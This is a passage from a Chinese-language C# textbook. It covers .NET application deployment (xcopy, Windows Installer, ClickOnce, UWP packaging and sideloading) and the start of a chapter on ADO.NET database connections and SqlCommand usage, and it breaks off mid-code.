其他程序集。默认情况下,程序集会在当前的应用程序文件夹中查找依赖项。把 程序集移动到其他文件夹的过程将在本章后面讨论。 ● ClickOnce——ClickOnce技术可以构建自动更新的、基于Windows的应用程序。 ClickOnce允许把应用程序发布到网站、文件共享或CD上。在对应用程序进行更 新并生成新版本后,开发小组可以把它们发布到相同的位置或站点上。最终用户 在使用应用程序时,程序会检查是否有更新版本。如果有,就进行更新。 ● Windows Installer——ClickOnce有一些限制,在某些场合中不能使用。如果安装要 求管理员权限(例如,部署Windows服务), Windows Installer就是最佳选项。 ● UWP应用程序——这些应用程序可以从Windows Store部署,也可以使用命令行工 具。本章后面将介绍如何创建Windows Store应用程序的包。 36.2.2 部署要求 最好看一下基于.NET的应用程序的运行要求。在执行任何托管的应用程序之前, CLR对目标平台都有一定的要求。 首先必须满足的要求是操作系统。目前,下面的操作系统可以运行基于.NET 4.6的应 用程序: ● Windows Vista SP2 ● Windows 7 SP1 ● Windows 8 (已包含.NET 4.5) ● Windows 8.1 (已包含.NET 4.5.1) ● Windows 10 (已包含.NET 4.6) 下面的服务器平台也支持运行基于.NET 4.5的应用程序: ● Windows Server 2008 SP2 ● Windows Server 2008 R2 SP1 ● Windows Server 2012(已包含.NET 4.5) ● Windows Server 2012 R2(已包含.NET 4.5.1) 用Visual Studio 2012创建的Windows Store应用程序运行在Windows 8和8.1上。用 Visual Studio 2013创建的Windows Store应用程序运行在Windows 8.1上。 在部署.NET应用程序时,还必须考虑硬件要求。硬件的最低要求是:客户端和服务 器都有1GHz的CPU,以及512MB的RAM。 要获得最佳性能,应增加RAM:RAM越大,.NET应用程序运行得就越好。对于服务 器应用程序更是如此。可以使用性能监视器来分析应用程序的RAM使用情况。 36.2.3 部署.NET运行库 当使用.NET Core开发应用程序时,应用程序包含了运行库。使用完整的框架创建应 用程序时,需要把.NET运行库安装到目标系统上。Windows 10已经包含了.NET 4.6。 .NET运行库的不同版本可以从Microsoft MSDN(https://msdn.microsoft.com/library/ee942965. aspx)上下载,Web安装程序或 Offline安装程序包。要么需要提供运行库的安装与安装包,要么运行库需要在安装应用程 序之前安装。 36.3 传统的部署选项 如果在应用程序的初始设计阶段考虑了部署,部署就只是简单地把一组文件复制到目 标计算机上。本节就讨论这种简单的部署情况和不同的部署选项。 为了了解如何设置部署选项,必须有一个要部署的应用程序。我们使用了ClientWPF 解决方案,它需要AppSupport库。 ClientWPF是使用WPF的富客户端应用程序。AppSupport项目是一个类库,它包含一 个简单的类,该类返回一个包含当前日期和时间的字符串。 示例应用程序使用AppSupport项目,用一个包含当前日期的字符串填写一个标签。为 了使用这些示例,首先加载并构建AppSupport项目。然后在ClientWPF项目中设置对新构 建的AppSupport.dll的引用。 下面是AppSupport程序集的代码: using System; namespace AppSupport { public class DateService { public string GetLongDateInfoString() => $"Today's date is {DateTime.Today:D}"; public string GetShortDateInfoString() => $"Today's date is {DateTime.Today:d}"; } } 这个简单的程序集足以说明可用的部署选项。 36.3.1 xcopy部署 xcopy部署过程就是把一组文件复制到目标计算机上的一个文件夹中,然后在客户端 上执行应用程序。这个术语来自于DOS命令xcopy.exe。无论程序集的数目是多少,如果 把文件复制到同一个文件夹中,应用程序就会执行,不需要编辑配置设置或注册表。 为了理解xcopy部署的工作原理,请执行下面的步骤: (1)打开示例下载文件中的ClientWPF解决方案(ClientWPF.sln)。 (2)把目标改为Release,进行完整的编译。 (3)使用File Explorer导航到项目文件夹\ClientWPF\bin\Release,双击 ClientWPF.exe,运行应用程序。 (4)单击对应的按钮,会看到当前日期显示在两个文本框中。这将验证应用程序是 否能正常运行。当然,这个文件夹是Visual Studio放置输出的地方,所以应用程序能正常 工作。 (5)新建一个文件夹,命名为ClientWPFTest。把这两个程序集(AppSupport.dll和 ClientWPFTest.exe)从Release文件夹复制到这个新文件夹中,然后删除Release文件夹。 再次双击ClientWPF.exe文件,验证它是否正常工作。 这就是需要完成的所有工作;xcopy部署只需要把程序集复制到目标计算机上,就可 以部署功能完善的应用程序。这里使用的示例非常简单,但这并不意味着这个过程对较复 杂的应用程序无效。实际上,使用这种方法对可以部署的程序集的大小或数目没有限制。 不想使用xcopy部署的原因是它不能把程序集放在全局程序集缓存(GAC)中,或者 不能在“开始”菜单中添加图标。如果应用程序仍依赖于某种类型的COM库,就不能很容 易地注册COM组件。 36.3.2 Windows Installer Microsoft倾向于使用ClickOnce技术来安装Windows应用程序,稍后将详细讨论这种 技术。但是,ClickOnce有一些局限:ClickOnce安装不需要管理员权限,应用程序会被安 装到用户有权限的目录中。如果系统由多个用户使用,则需要针对所有用户安装应用程 序。而且,使用ClickOnce技术不能安装共享COM组件并在注册表中配置它们,不能在 GAC中安装程序集,也不能注册Windows服务。所有这些任务都需要管理员权限。 为了执行这些管理员任务,需要创建一个Windows安装程序包。安装程序包就是使用 了WindowsInstaller技术的MSI文件(可以从setup.exe启动)。 创建Windows安装程序包的功能不是Visual Studio 2015的一部分。不过,可以在 Visual Studio 2015中使用免费的InstallShield Limited Edition。它提供了一个项目模板,其 中包含了下载及向Flexera Software注册InstallShield的信息。 InstallShield Limited Edition提供了一个简单的向导,可以根据应用程序信息(名称、 网站、版本号)创建安装程序包;设置安装需求(支持哪些操作系统,以及安装过程需要 计算机上已经安装哪些软件);创建应用程序文件及“开始”菜单和桌面上的快捷方式;设 置注册表项。还可以选择提示用户同意许可协议。 如果只需要这些功能,不需要在安装过程中显示自定义对话框,那么InstallShield Limited Edition就可以作为一个不错的部署解决方案。否则,就需要安装另外一个产品, 例如,InstallShield的完整版本(www.flexerasoftware.com/products/installshield.htm)或者 免费的WiX工具包(http://wix.codeplex.com)。 本章将详细讨论ClickOnce和UWP应用程序的部署。首先讨论ClickOnce。 36.4 ClickOnce ClickOnce是一种允许应用程序自动更新的部署技术。应用程序发布到共享文件、网 站或CD这样的媒介上。之后,ClickOnce应用程序就可以自动更新,而无需用户的干涉。 ClickOnce还解决了安全权限问题。一般情况下,要安装应用程序,用户需要有管理 员权限。而利用ClickOnce,没有管理员权限的用户也可以安装和运行应用程序。但是, 应用程序将安装到特定用户的目录中。如果有多个用户使用同一个系统,则每个用户都需 要安装该应用程序。 36.4.1 ClickOnce操作 ClickOnce应用程序有两个基于XML的清单文件,其中一个是应用程序的清单,另一 个是部署清单。这两个文件描述了部署应用程序所需的所有信息。 应用程序清单包含应用程序的相关信息,例如,需要的权限、要包括的程序集和其他 依赖项。部署清单包含了应用程序的部署信息,例如,应用程序清单的设置和位置。这些 清单的完整模式在.NET SDK文档中给出。 如前所述,ClickOnce有一些限制。例如,程序集不能添加到GAC文件夹中,以及不 能在注册表中配置Windows服务。在这些情况下,使用Windows Installer比较好,但 ClickOnce也适用于许多应用程序。 36.4.2 发布ClickOnce应用程序 ClickOnce需要知道的全部信息都包含在两个清单文件中。为ClickOnce部署发布应用 程序的过程就是生成清单,并把文件放在正确的位置。清单文件可以在Visual Studio中生 成。还可以使用一个命令行工具mage.exe,它还有一个带GUI的版本mageUI.exe。 在Visual Studio 2015中创建清单文件有两种方式。在Project Properties对话框的Publish 选项卡底部有两个按钮,一个是Publish Wizard按钮,另一个是Publish Now按钮。Publish Wizard按钮要求回答几个关于应用程序的部署问题,然后生成清单文件,把所有需要的文 件复制到部署位置。Publish Now按钮使用在Publish选项卡中设置的值创建清单文件,并 把文件复制到部署位置。 为了使用命令行工具mage.exe,必须传递各个ClickOnce属性的值。使用mage.exe可以 创建和更新清单文件。在命令提示符中输入mage.exe-help,就会显示传递所需值的语法。 mage.exe的GUI版本(mageUI.exe)类似于Visual Studio 2015中的Publish选项卡。使 用GUI工具可以创建和更新应用程序清单及部署清单文件。 ClickOnce应用程序会显示在控制面板中“添加/删除程序”对话框对应的小程序内,这 与其他安装的应用程序一样。一个主要区别是用户可以选择卸载应用程序或回滚到以前的 版本。ClickOnce在ClickOnce应用程序缓存中保存以前的版本。 现在开始创建一个ClickOnce应用程序。在此之前,系统中必须安装了IIS,并且必须 以提升的权限启动Visual Studio。ClickOnce安装程序会直接发布到本地IIS,而本地IIS是 需要管理员权限的。 在Visual Studio中打开ClientWPF项目,选择Project Properties对话框的Publish选项 卡,然后单击Publish Wizard按钮。第一个屏幕如图36-1所示,它要求指定发布位置。这 里使用本地publish文件夹把包发布到本地文件夹中。 图36-1  注意: 在Visual Studio的以前版本中,可以直接把ClickOnce包从Visual Studio 安装到当地IIS中。Visual Studio 2015不再是这样。但是,可以在本地文件夹中创建安 装包,并将手动添加到IIS网站。 下一个屏幕询问用户如何安装应用程序:从网站、文件共享或CD-ROM/DVD-ROM 中安装(见图36-2)。这个设置会影响用户如何更新应用程序。 图36-2 第三个屏幕提供了在客户机下线时运行这个应用程序的选项,或只有当客户端系统在 线时才运行这个应用程序的选项(见图36-3)。使用在线选项,应用程序直接从网络位置 运行。使用下线选项,应用程序在本地安装。选择下线选项。 图36-3 在摘要屏幕显示为第四屏幕后,就准备好发布了。一个浏览器窗口会打开,用于安装 应用程序。在以前选择的文件夹中可以找到要安装的应用程序文件,例如,publish\。 在使用ClickOnce安装应用程序之前,下一小节将介绍向导对ClickOnce做了哪些设 置。 36.4.3 ClickOnce设置 两个清单文件都有几个属性,可以在Visual Studio项目设置内的Publish选项卡(如图 36-4所示)中配置它们的许多属性。最重要的属性是应用程序应从什么地方部署。这里使 用了网络共享。 图36-4 Publish选项卡中有一个Application Files按钮,单击它会打开一个对话框,其中列出了 应用程序需要的所有程序集和配置文件(如图36-5所示)。可以改变这个配置;在所有文 件的列表中,使用发布状态指示文件是否应包含在包中。调试符号在默认情况下是空白 的。对于测试场景,可能会添加这些文件。 图36-5 单击Prerequisite按钮会显示与应用程序一起安装的常见必备程序列表。这个必备程序 列表由Microsoft Installer包定义,必须在安装ClickOnce应用程序前安装。在图36-6中,会 发现.NET Framework 4.6被列为一个必备条件,是安装的一部分。可以选择从发布应用程 序的位置上安装必备程序,也可以从供应商的网站上安装必备程序。 图36-6 单击Updates按钮会显示一个对话框(如图36-7所示),其中包含了如何更新应用程 序的信息。当有应用程序的新版本时,可以使用ClickOnce更新应用程序。其选项包括: 每次启动应用程序时检查是否有更新版本,或在后台检查更新版本。如果选择后台选项, 就可以输入两次检查的指定间隔时间。此时可以使用允许用户拒绝或接收更新版本的选 项。它可用于在后台进行强制更新,这样用户就不知道进行了更新。下次运行应用程序 时,会使用新版本替代旧版本。还可以使用另一个位置存储更新文件。这样,原始安装软 件包在一个位置,用于给新用户安装应用程序,而所有的更新版本放在另一个位置上。 图36-7 安装应用程序时,可以让它以在线模式或离线模式运行。在离线模式下,应用程序可 以从“开始”菜单中运行,就好像它是用Windows Installer安装的。在线模式表示应用程序 只能在有安装文件夹的情况下运行。 36.4.4 ClickOnce文件的应用程序缓存 用ClickOnce发布的应用程序不能安装在Program Files文件夹中,它们会放在应用程序 缓存中,应用程序缓存驻留在%LocalAppData%\Apps\2.0文件夹下。控制部署的这个方面 意味着,可以把应用程序的多个版本同时放在客户端PC上。如果应用程序设置为在线运 行,就会保留用户访问过的每个版本。对于设置为本地运行的应用程序,会保留当前版本 和以前的版本。 所以,把ClickOnce应用程序回滚到以前的版本是一个非常简单的过程。如果用户进 入控制面板中“添加/删除程序”对话框对应的小程序,则所显示的对话框将允许删除 ClickOnce应用程序或回滚到以前的版本。管理员可以修改清单文件,使之指向以前的版 本。之后,下次用户运行应用程序时,会检查是否更新版本。应用程序不查找要部署的新 程序集,而是还原以前的版本,但不需要用户的交互。 36.4.5 应用程序的安装 现在,启动应用程序的安装。 把文件从publish文件夹复制到创建包时指定的网络共享。然后在网络共享上启动 Setup.exe。所显示的第一个对话框显示了一个警告(见图36-8)。因为系统不信任测试证 书的颁发机构,所以会显示红色标记。单击More Information链接,可以获得证书的更多 信息,并知道应用程序需要完全信任的访问权限。如果信任应用程序,就单击Install按 钮,安装应用程序。将ClickOnce包添加到生产环境之前,可以购买一个可信的证书,添 加到包中。 图36-8 单击Install按钮,应用程序会在本地安装。 安装完成后,在“开始”菜单中都可以找到该应用程序。另外,它还列在控制面板 的“程序和功能”中,在这里也可以卸载它(见图36-9)。 图36-9 36.4.6 ClickOnce部署API 使用ClickOnce设置,可以将应用程序配置为自动检查更新,如前所述,但是通常这 种方法并不可行。可能一些超级用户应该更早得到应用程序的新版本。如果他们对新版本 感到满意,那么也应该向其他用户授予接收更新的权限。在这种场景中,可以使用自己的 用户管理信息数据库,通过编程更新应用程序。 对于使用编程方式进行的更新,可以使用System.Deployment程序集和 System.Deployment名称空间中的类来检查应用程序版本信息及进行更新。下面的代码片 段(代码文件MainWindow.xaml.cs)包含了应用程序中的Update按钮的单击处理程序。它 首先检查ApplicationDeployment类的IsNetwork-Deployed属性,判断应用程序是否是 ClickOnce部署的应用程序。然后,使用CheckForUpdateAsync()方法检查服务器上由 ClickOnce设置指定的更新目录中是否有新版本可用。收到关于更新的信息后, CheckForUpdateCompleted事件就会触发。这个事件处理程序的第二个参数(类型为 CheckForUpdate-CompletedEventArgs)包含了关于更新、版本号、是否是强制更新等信 息。如果有更新可用,则通过调用UpdateAsync()方法自动安装更新(代码文件 ClientWPF/MainWindow.xaml.cs): private void OnUpdate(object sender, RoutedEventArgs e) { if (ApplicationDeployment.IsNetworkDeployed) { ApplicationDeployment.CurrentDeployment.CheckForUpdateCompleted += (sender1, e1) => { if (e1.UpdateAvailable) { ApplicationDeployment.CurrentDeployment.UpdateCompleted += (sender2, e2) => { MessageBox.Show("Update completed"); }; ApplicationDeployment.CurrentDeployment.UpdateAsync(); } else { MessageBox.Show("No update available"); } }; ApplicationDeployment.CurrentDeployment.CheckForUpdateAsync(); } else { MessageBox.Show("not a ClickOnce installation"); } } 使用部署API代码时,可以在应用程序中直接手动测试更新。 36.5 UWP应用程序 安装Windows应用程序则完全不同。对于传统的.NET应用程序,使用xcopy部署来复 制带DLL的可执行文件是一种可行的方法。但是,对于Windows应用程序则不能这么做。 Universal Windows应用程序是需要打包的,这使得应用程序能够放到Windows Store 中被多数人使用。在部署Windows应用程序时,还有另外一种方法,不需要把该应用程序 添加到Windows Store中。这种方法称为旁加载(Sideleading)。在这些选项中,有必要创 建一个应用程序包,所以我们就从创建一个应用程序包开始。 36.5.1 创建应用程序包 Windows Store应用程序包是一个带有.appx文件扩展名的文件,实际上是一个压缩文 件。该文件包含了所有的XAML文件、二进制文件、图片和配置。使用Visual Studio或命 令行工具MakeAppx.exe都可以创建包。 在Windows | Universal类别中使用Visual Studio应用程序模板Blank App (Universal Windows)创建一个简单的Windows应用程序。示例应用程序的名称是 UniversalWindowsApp。 对于打包过程来说,重要的是Assets文件夹中的图像。Logo、SmallLogo和StoreLogo 文件代表应该用自定义应用程序图标代替的应用程序图标。文件Package.appxmanifest是一 个XML文件,包含了应用程序包所需的所有定义。在Solution Explorer中打开这个文件会 调用Package Editor,它包含6个选项卡:Application、Visual Assets、Capabilities、 Declarations、Content URIs和Packaging。Packaging选项卡如图36-10所示。在这里可以配 置包名、在Store中显示的图标、版本号和证书。默认情况下,只创建一个用于测试目的 的证书。把应用程序关联到商店中之前,必须替换此证书。 图36-10 Application选项卡允许配置应用程序名称、应用程序描述。在Visual Assets选项卡 中,可以看到能关联到应用程序的所有徽标:小图标、方图标和宽图标。可配置的能力随 系统功能和应用程序使用的设备而异,例如,音乐库、摄像头等。用户会得到应用程序使 用了哪些功能的通知。如果应用程序没有指定需要某个功能,在运行期间就不能使用该功 能。在Declarations选项卡中,应用程序可以注册更多的功能,例如,用作共享目标,或 者指定某些功能是否应该在后台运行。 在Visual Studio中,单击Solution Explorer中的项目,然后从上下文菜单中选择Store | Create App Package,可以创建一个包。在Create App Package向导中,首先需要指定是否 要把应用程序上传到Windows Store。如果不必上传,那么可以使用旁加载来部署包,如 后面所述。如果还没有注册一个Windows Store账户,就选择旁加载选项。在该向导的第 二个对话框中,为包选择Release而不是Debug Code。在这里还可以选择为哪个平台生成 包:x86、x64和ARM CPU。这就是构建包所需的全部工作,如图36-11所示。要想查看包 中的内容,可以把文件的扩展名从.appx改为.zip,然后就可以看到其中包含的所有图像、 元数据和二进制文件。 图36-11 36.5.2 Windows App Certification Kit 把应用包提交给Windows Store前,把它旁加载到其他设备之前,应运行Windows App Certification Kit,这个工具是Windows SDK的一部分,随Visual Studio一起安装。 把应用程序部署到Windows Store时,应用程序必须满足一些需求。多数需求是可以 提前检查的。 运行此工具时,需要有些耐心。它需要几分钟的时间来测试应用程序并给出结果。在 此期间,不应与该工具或正在运行的应用程序交互。检查应用程序,以确保包正确使用发 布版本构建,没有调试代码,应用程序不会崩溃或挂起,只调用支持的API,功能使用正 确,实现了后台任务的取消处理程序等。启动该工具,会看到它运行的所有测试。 图36-12显示了启动Certification Kit,可以选择要运行的测试。 图36-12 36.5.3 旁加载 为了让应用程序得到最多的用户,应该把应用程序发布到Windows Store中。 Windows Store的许可很灵活,可以选择销售给个人的许可,或者批量许可。对于后者, 可以根据唯一ID和设备确定运行应用程序的用户。当然,应用程序也可能不适合放到 Windows Store中。在Windows 10中,绕过Store会更容易一些。Windows 8要求购买密钥, 而Windows 10只需要启用设备,进行旁加载。在Update & Security设置的For Developers选 项卡中(见图36-13),可以把设置改为Sideload Apps,启用旁加载。当然,在系统上已 经配置了Developer模式,它不需要Sideload设置。只需要在没有用Developer模式配置的系 统中启用这个设置。 为了通过旁加载安装Windows应用程序,可以使用WinAppDeployCmd.exe。这个工具 是Windows 10 SDK的一部分。 这个工具允许使用如下命令浏览网络上可用于安装的所有设备: WinAppDeployCmd.exe devices 为了在设备上安装应用程序,可以使用如下install选项: WinAppDeployCmd.exe install -file SampleApp.appx -ip 10.10.0.199 -pin ABC3D5 为了更新应用程序,可以使用update选项: WinAppDeployCmd.exe update -file SampleApp.appx -ip 10.10.0.199 为了卸载应用程序,可以使用uninstall选项: WinAppDeployCmd.exe uninstall -package packagename 36.6 小结 部署是应用程序生命周期的一个重要部分,会影响到应用程序中使用的技术,所以应 该从项目的一开始就进行考虑。本章介绍了不同应用程序类型的部署。 本章介绍了如何使用ClickOnce部署Windows应用程序。ClickOnce提供了一种方便的 自动更新能力,也可以在应用程序中直接触发,在System.Deployment API中可以看到这一 点。 本章还介绍了UWP应用程序的部署。可以把UWP应用程序发布到Windows Store中, 也可以,不使用Windows Store,而使用命令行工具部署它们。 从第37章开始,介绍服务和Web应用程序,从使用ADO.NET访问数据库开始。 第Ⅳ部分 Web应用程序和服务  第37章 ADO.NET  第38章 Entity Framework Core  第39章 Windows服务  第40章 ASP.NET Core  第41章 ASP.NET MVC  第42章 ASP.NET Web API  第43章 WebHooks和SignalR  第44章 WCF  第45章 部署网站和服务 第37章 ADO.NET 本章要点 ● 连接数据库 ● 执行命令 ● 调用存储过程 ● ADO.NET对象模型 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professioncsharp6,单击Download Code选项卡即可下载本 章源代码。本章代码分为以下几个主要的示例文件: ● ConnectionSamples ● CommandSamples ● AsyncSamples ● TransactionSamples 37.1 ADO.NET概述 本章讨论如何使用ADO.NET访问C#程序中的关系数据库,例如SQL Server,主要介 绍如何连接数据库,以及断开与数据库的连接。如何使用查询,如何添加和更新记录。学 习各种命令对象选项,了解如何为SQL Server提供程序类提供的每个选项使用命令;如何 通过命令对象调用存储过程,以及如何使用事务。 ADO.NET之前使用OLEDB和ODBC附带了不同的数据库提供程序,一个提供程序用 于SQL Server;另一个提供程序用于Oracle。OLEDB技术不再获得支持,所以这个提供程 序不应该用于新的应用程序。对于访问Oracle数据库,微软的提供程序也不再使用,因为 来自Oracle(http://www.oracle.com/technetwork/topics/dotnet/)的提供程序能更好地满足需 求。对其他数据源(也用于Oracle),有许多可用的第三方提供程序。使用ODBC提供程 序之前,应该给所访问的数据源使用专用的提供程序。本章中的代码示例基于SQL Server,但也可以把它改为使用不同的连接和命令对象,如访问Oracle数据库时,使用 OracleConnection和OracleCommand,而不是SqlConnection和SqlCommand。  注意: 本章不介绍把表放在内存中的DataSet。DataSet允许从数据库中检索 记录,并把内容存储在内存的数据表关系中。相反,应该使用Entity Framework,参见 第38章。Entity Framework允许使用对象关系,而不是基于表的关系。 37.1.1 示例数据库 本章的例子使用AdventureWorks2014数据库。这个数据库可以从 https://msftdbprodsamples. codeplex.com/中下载。通过这个链接可以在一个zip文件中下载 AdventureWorks2014数据库备份。选择推荐下载Adventure Works 2014 Full Database Backup.zip。解压缩文件之后,可以使用SQL Server Management Studio恢复数据库备份, 如图37-1所示。如果系统上没有SQL Server Management Studio,可以从 http://www.microsoft.com/downloads上下载一个免费的版本。 图37-1 这一章使用的SQL Server是SQL Server LocalDb。这个数据库服务器安装为Visual Studio的一部分。也可以使用任何其他SQL Server版本,只需要改变相应的连接字符串。 37.1.2 NuGet包和名称空间 ADO.NET示例的示例代码利用以下依赖项和名称空间: 依赖项: NETStandard.Library Microsoft.Extensions.Configuration Microsoft.Extensions.Configuration.Json System.Data.SqlClient 名称空间: Microsoft.Extensions.Configuration System System.Data System.Data.SqlClient System.Threading.Tasks static System.Console 37.2 使用数据库连接 为了访问数据库,需要提供某种连接参数,如运行数据库的计算机和登录证书。使用 SqlConnection类连接SQL Server。 下面的代码段说明了如何创建、打开和关闭AdventureWorks2014数据库的连接(代码 文件ConnectionSamples/Program.cs)。 public static void OpenConnection() { string connectionString = @"server=(localdb)\MSSQLLocalDB; " + "integrated security=SSPI; " + "database=AdventureWorks2014"; var connection = new SqlConnection(connectionString); connection.Open(); // Do something useful WriteLine("Connection opened"); connection.Close(); }  注意: SqlConnection类实现了IDisposable接口,其中包含Dispose方法和Close 方法。这两个方法的功能相同,都是释放连接。这样,就可以使用using语句来关闭连 接。 在该示例的连接字符串中,使用的参数如下所示。连接字符串中的参数用分号分隔 开。 ● server=(localdb)\ MSSQLLocalDB:表示要连接到的数据库服务器。SQL Server 允许在同一台计算机上运行多个不同的数据库服务器实例,这里连接到localdb服 务器和SQL Server实例MSSQLLocalDB。如果使用的是本地安装的SQL Server,就 把这一部分改为server=(local)。如果不使用关键字server,还可以使用Data Source。要连接到SQL Azure中,可以设置Data Source=servername.database.windows.net。 ● database=AdventureWorks2014:这描述了要连接到的数据库实例。每个SQL Server 进程都可以提供几个数据库实例。如果不使用关键字database,还可以使用Initial Catalog。 ● integrated security=SSPI:这个参数使用Windows Authentication连接到数据库,如果 使用SQL Azure,就需要设置User Id和Password。  注意: 在http://www.connectionstrings.com上可以找到许多不同数据库的连接 字符串信息。 这个ConnectionSamples示例使用定义好的连接字符串打开数据库连接,再关闭该连 接。一旦打开连接后,就可以对数据源执行命令,完成后,就可以关闭连接。 37.2.1 管理连接字符串 不在C#代码中硬编码连接字符串,而是最好从配置文件中读取它。在.NET 4.6 和.NET Core 1.0中,配置文件可以是JSON或XML格式,或从环境变量中读取。在下面的 示例中,连接字符串从一个JSON配置文件中读取(代码文件ConnectionSamples / config.json): { "Data": { "DefaultConnection": { "ConnectionString": "Server=(localdb)\\MSSQLLocalDB; Database=AdventureWorks2014; Trusted_Connection=True; " } } } 使用NuGet包Microsoft.Framework.Configuration定义的Configuration API可以读取 JSON文件。为了使用JSON配置文件,还要添加NuGet包 Microsoft.Framework.Configuration.Json。为了读取配置文件,创建ConfigurationBuilder。 AddJsonFile扩展方法添加JSON文件config. Json,从这个文件中读取配置信息——假定它 与程序在相同的路径中。要配置另一条路径,可以调用SetBasePath方法。调用 ConfigurationBuilder的Build方法,从所有添加的配置文件中构建配置,返回一个实现了 IConfiguration接口的对象。这样,就可以检索配置值,如 Data:DefaultConnection:ConnectionString的配置值(代码文件ConnectionSamples / Program.cs): public static void ConnectionUsingConfig() { var configurationBuilder = new ConfigurationBuilder().AddJsonFile("config.json"); IConfiguration config = configurationBuilder.Build(); string connectionString = config["Data:DefaultConnection:ConnectionString"] ; WriteLine(connectionString); } 37.2.2 连接池 几年前实现两层应用程序时,最好在应用程序启动时打开连接,关闭应用程序时,关 闭连接。现在就不应这么做。使用这个程序架构的原因是,需要一定的时间来打开连接。 现在,关闭连接不会关闭与服务器的连接。相反,连接会添加到连接池中。再次打开连接 时,它可以从池中提取,因此打开连接会非常快速,只有第一次打开连接需要一定的时 间。 连接池可以用几个选项在连接字符串中配置。选项Pooling设置为false,会禁用连接 池;它默认为启用:Pooling = true。Min Pool Size和Max Pool Size允许配置池中的连接 数。默认情况下,Min Pool Size的值为0, Max Pool Size的值为100。Connection Lifetime定 义了连接在释放前,连接在池中保持不活跃状态的时间。 37.2.3 连接信息 在创建连接之后,可以注册事件处理程序,来获得一些连接信息。SqlConnection类定 义了InfoMessage和StateChange事件。每次从SQL Server返回一个信息或警告消息时,就触 发InfoMessage事件。连接的状态变化时,就触发StateChange事件,例如打开或关闭连接 (代码文件ConnectionSamples / Program.cs): public static void ConnectionInformation() { using (var connection = new SqlConnection(GetConnectionString())) { connection.InfoMessage += (sender, e) => { WriteLine($"warning or info {e.Message}"); }; connection.StateChange += (sender, e) => { WriteLine($"current state: {e.CurrentState}, before: {e.OriginalState}"); }; connection.Open(); WriteLine("connection opened"); // Do something useful } } 运行应用程序时,会触发StateChange事件,看到Open和Closed状态: current state: Open, before: Closed connection opened current state: Closed, before: Open 37.3 命令 37.2节“使用数据库连接”简要介绍了针对数据库执行的命令。简言之,命令就是一个 要在数据库上执行的包含SQL语句的文本字符串。命令也可以是一个存储过程,如本节后 面所述。 把SQL子句作为一个参数传递给Command类的构造函数,就可以构造一条命令,如 下例所示(代码文件CommandSamples/Program.cs): public static void CreateCommand() { using (var connection = new SqlConnection(GetConnectionString())) { string sql = "SELECT BusinessEntityID, FirstName, MiddleName, LastName " + "FROM Person.Person"; var command = new SqlCommand(sql, connection); connection.Open(); // etc. } } 通过调用SqlConnection的CreateCommand方法,把SQL语句赋予CommandText属性, 也可以创建命令: SqlCommand command = connection.CreateCommand(); command.CommandText = sql; 命令通常需要参数。例如,下面的SQL语句需要一个EmailPromotion参数。不要试图 使用字符串连接来建立参数。相反,总是应使用ADO.NET的参数特性: string sql = "SELECT BusinessEntityID, FirstName, MiddleName, LastName " + "FROM Person.Person WHERE EmailPromotion = @EmailPromotion"; var command = new SqlCommand(sql, connection); 将参数添加到SqlCommand对象中时,有一个简单的方式可以使用Parameters属性返回 SqlParameterCollection和AddWithValue方法: command.Parameters.AddWithValue("EmailPromotion", 1); 有一个更有效的方式,但需要更多的编程工作:通过传递名称和SQL数据类型,使用 Add方法的重载版本: command.Parameters.Add("EmailPromotion", SqlDbType.Int); command.Parameters["EmailPromotion"].Value = 1; 也可以创建一个SqlParameter对象,并添加到SqlParameterCollection中。  注意: 不要试图给SQL参数使用字符串连接。它是经常被用于SQL注入攻 击。使用SqlParameter对象会抑制这种攻击。 定义好命令后,就需要执行它。执行语句有许多方式,这取决于要从命令中返回什么 数据。SqlCommand类提供了下述可执行的命令: ● ExecuteNonQuery()——执行命令,但不返回任何结果。 ● ExecuteReader()——执行命令,返回一个类型化的IDataReader。 ● ExecuteScalar()——执行命令,返回结果集中第一行第一列的值。 37.3.1 ExecuteNonQuery()方法 这个方法一般用于UPDATE、INSERT或DELETE语句,其中唯一的返回值是受影响 的记录个数。但如果调用带输出参数的存储过程,该方法就有返回值。示例代码在 Sales.SalesTerritory表中创建了一个新的记录。这个表把TerritoryID作为主键,TerritoryID 是一个标识列,因此创建记录时不需要提供它。这个表的所有列都不允许空值(见图37- 2),但其中的一些使用默认值,例如一些销售和成本列、rowguid和ModifiedDate。 rowguid列从newid函数中创建,ModifiedDate列从getdate中创建。创建新行时,只需要提 供Name、CountryRegionCode和Group列。ExecuteNonQuery方法定义了SQL INSERT语 句,添加了参数值,并调用SqlCommand类的ExecuteNonQuery方法(代码文件 CommandSamples / Program.cs): public static void ExecuteNonQuery { try { using (var connection = new SqlConnection(GetConnectionString())) { string sql = "INSERT INTO [Sales].[SalesTerritory] " + "([Name], [CountryRegionCode], [Group]) " + "VALUES (@Name, @CountryRegionCode, @Group)"; var command = new SqlCommand(sql, connection); command.Parameters.AddWithValue("Name", "Austria"); command.Parameters.AddWithValue("CountryRegionCode", "AT"); command.Parameters.AddWithValue("Group", "Europe"); connection.Open(); int records = command.ExecuteNonQuery(); WriteLine($"{records} inserted"); } } catch (SqlException ex) { WriteLine(ex.Message); } } 图37-2 ExecuteNonQuery()方法返回命令所影响的行数,它是一个整数。第一次运行这个 方法时,插入了一个记录。第二次运行相同的方法时,会得到一个异常,因为唯一索引有 冲突。Name定义了唯一的索引,只允许使用一次。第二次运行该方法时,需要先删除前 面创建的记录。 37.3.2 ExecuteScalar()方法 在许多情况下,需要从SQL语句返回一个结果,如给定表中的记录个数,或者服务器 上的当前日期/时间。ExecuteScalar()方法就可以用于这些场合: public static void ExecuteScalar() { using (var connection = new SqlConnection(GetConnectionString())) { string sql = "SELECT COUNT(*) FROM Production.Product"; SqlCommand command = connection.CreateCommand(); command.CommandText = sql; connection.Open(); object count = command.ExecuteScalar(); WriteLine($¡±counted {count} product records¡±); } } 该方法返回一个对象,根据需要,可以把该对象强制转换为合适的类型。如果所调用 的SQL只返回一列,则最好使用ExecuteScalar()方法来检索这一列。这也适合于只返回 一个值的存储过程。 37.3.3 ExecuteReader()方法 ExecuteReader()方法执行命令,并返回一个DataReader对象,返回的对象可以用于 遍历返回的记录。ExecuteReader示例使用一个SQL INNER JOIN子句,如下面的代码片段 所示。这个SQL INNER JOIN子句用来获取单一产品的价格历史。价格历史存储在表 Production.ProductCostHistory中,产品的名称在Production.Product表中。在SQL语句中, 需要的一个参数是产品标识符(代码文件CommandSamples / Program.cs): private static string GetProductInformationSQL() => "SELECT Prod.ProductID, Prod.Name, Prod.StandardCost, Prod.ListPrice, " + "CostHistory.StartDate, CostHistory.EndDate, CostHistory.StandardCost " + "FROM Production.ProductCostHistory AS CostHistory " + "INNER JOIN Production.Product AS 